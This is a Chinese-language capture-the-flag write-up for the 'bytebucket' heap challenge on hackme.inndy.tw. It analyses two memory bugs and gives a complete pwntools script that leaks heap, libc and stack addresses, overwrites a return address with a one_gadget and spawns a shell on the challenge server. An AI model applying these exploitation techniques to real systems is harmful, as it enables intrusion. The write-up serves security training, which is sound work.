题目链接:https://hackme.inndy.tw/scoreboard/ (随便输个名字登录即可看到题目列表)
下载bytebucket文件,checksec下:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
程序功能
基本功能是增删改查bucket,一个bucket对应多个slot。bucket结构体:
0x8字节 : 下一个bucket的地址
0x8字节 : slot_count
0x10字节 : bucket_name
0x8 * n字节 : n个slot地址
有下面几个操作:
1. Make bucket 插入一个bucket到buckets链中,给该bucket填充slot。这条bucktes链的链头地址存在0x203148处(g_bucket_head),在0x203140处存储当前指向的bucket(g_bucket_current)。
2. List bucket
3. Find bucket 通过bucket_name找到bucket,并用g_bucket_current指向该bucket
4. Next bucket
5. Drop bucket
6. Open bucket 打开g_bucket_current指向的bucket,可打印、编辑、删除slot,重命名bucket
7. Sort bucket
8. Exit bucket
程序开始新建了两个bucket:
--- List of Buckets ---
Bucket[1]->name = "/root/locked"; // 这个bucket有个slot即第一个flag,第二个flag通过需shell来获取
Bucket[2]->name = "/home/ctf/flag";
漏洞点
- 在读取用户输入的字符串时,可以让其不在末尾拼接\x00(
sub_EA8
函数和sub_CBA
函数),导致可以通过printf泄露出heap地址。如:输入0x10长度的bucket_name再List bucket输出可泄露堆地址;输入0x100长的字符可打印出g_bucket_current的值, 即泄露堆地址。 - make bucket操作:新建的bucket内存,并不清零,而当用户输入的slot大小为0时,其也不把slot地址置0,也就是如果在这个slot处我们先放入一个地址值,我们就可以通过操作这个slot来读写这个地址指向的内存。可以利用其泄露libc地址,泄露栈地址,达到UAF,覆盖某个bucket的下一个bucket的地址等。
pwn脚本
# -*-coding:utf-8-*-
from pwn import *
import pdb
# context.log_level = "debug"
def make_bucket(p, bucket_name, slot_datas):
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Size of bucket >>")
p.sendline(str(len(slot_datas))) # slot_count
p.recvuntil("Name of bucket >>")
p.sendline(bucket_name)
for i in xrange(0, len(slot_datas)):
p.recvuntil("Size of content >>")
p.sendline(str(len(slot_datas[i])))
if len(slot_datas[i]) > 0:
p.recvuntil("Content of slot >>")
p.send(slot_datas[i])
def find_bucket(p, bucket_name):
p.recvuntil("What to do >>")
p.sendline("3")
p.recvuntil("Bucket name to find >>")
p.sendline(bucket_name)
def drop_bucket(p):
p.recvuntil("What to do >>")
p.sendline("5")
## run using my libc.so
# env = {"FLAG1": "flag{flag1}"}
# p = process("./bytebucket2", env=env)
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
##
# env = {"FLAG1": "flag{flag1}", "LD_PRELOAD" : "/root/pwnfile/inndy_libc-2.23.so.x86_64"}
# p = process("./bytebucket2", env=env)
p = remote("hackme.inndy.tw", 7722)
libc = ELF("/root/pwnfile/inndy_libc-2.23.so.x86_64")
# Step1: leak heap addr
make_bucket(p, "PPP", ['pppp']) # 增加栈地址,避免要打印出的栈地址为0xXXXXXXXX00YY,打印该地址时会\x00截断,从而只输出0xYY
make_bucket(p, "QQQ", ['qqqq'])
find_bucket(p, "A" * 0x100) # 会输入0x100个字符到0x203040,printf打印0x203040的值时就会打印出跟在它后面的0x203140处的值,即g_bucket_current的值
p.recvuntil("A" * 0x100)
addr_heap = u64(p.recvuntil('"', drop=True).ljust(8, "\x00"))
log.success("addr_heap: " + hex(addr_heap))
addr_flag1 = addr_heap - 0x100
# Step2: get flag1
payload = [p64(addr_flag1) * 0x30] # 先在堆上布置flag1的地址
make_bucket(p, "AAA", payload)
drop_bucket(p)
make_bucket(p, "BBB", ["bbbb"])
make_bucket(p, "CCC", [""]) # let size of slot content be zero
p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1") # 打印CCC这个bucket的slot,该slot就是flag1的地址
p.recvuntil("Row[0]:")
flag1 = p.recvuntil("+---", drop=True)
log.success("flag1: " + flag1)
p.recvuntil("What to do >>")
p.sendline("5")
# Step3: leak libc addr
addr_free_chunk = addr_heap + 0x150
payload = [p64(addr_free_chunk) * 0x30]
make_bucket(p, "DDD", payload)
make_bucket(p, "EEE", ["eeee"]) # near top chunk
find_bucket(p, "DDD")
drop_bucket(p)
make_bucket(p, "FFF", ["ffff"])
make_bucket(p, "GGG", [""]) # let size of slot content be zero
p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Row[0]:") # 打印CCC这个bucket的slot,该slot值指向一个unsorted bin chunk,打印该slot就泄露出unsorted bin地址,再计算出libc基址
addr_unsorted_bin = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00"))
log.success("addr_unsorted_bin: " + hex(addr_unsorted_bin))
addr_libc = addr_unsorted_bin - 0x3c3b78 # fix it. In my libc: 0x3c4b78
log.success("addr_libc: " + hex(addr_libc))
p.recvuntil("What to do >>")
p.sendline("5")
# at this moment, we have a unsorted bin chunk(size: 0x140)
# Step4: leak stack addr by environ
addr_environ = addr_libc + libc.symbols["environ"]
addr_system = addr_libc + libc.symbols["system"]
make_bucket(p, "HHH", [p64(addr_environ) * 0x20])
drop_bucket(p)
make_bucket(p, "III", ["iiii"])
make_bucket(p, "JJJ", [""]) # let size of slot content be zero
p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Row[0]:")
addr_stack = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00"))
log.success("addr_stack: " + hex(addr_stack))
p.recvuntil("What to do >>")
p.sendline("5")
# at this moment, we have a unsorted bin chunk(size: 0xc0)
# Step 5: modify ret to one_gadget
addr_ret = addr_stack - 0xf0
# 该one_gadget需满足[rsp+0x70] == NULL
addr_one_gadget = addr_libc + 0xf0897 # fix it. In my libc: 0xf1147
make_bucket(p, "KKK", ["k"] * 4) # consume the unsorted bin chunk
make_bucket(p, "LLL", [p64(addr_ret) * 0x30])
make_bucket(p, "MMM", ["mmmm"]) # near top chunk
find_bucket(p, "LLL")
drop_bucket(p)
make_bucket(p, "NNN", ["nnnn"])
make_bucket(p, "OOO", [""]) # let size of slot content be zero
p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("2") # edit data
p.recvuntil("Which line of data >>")
p.sendline("0")
p.recvuntil("Size of new content >>")
p.sendline("5")
p.recvuntil("New content >>")
p.send(p64(addr_one_gadget)[:5])
p.recvuntil("What to do >>")
p.sendline("5")
# Step 6: exit to execute one_gadget
p.recvuntil("What to do >>")
p.sendline("8")
p.interactive()
网友评论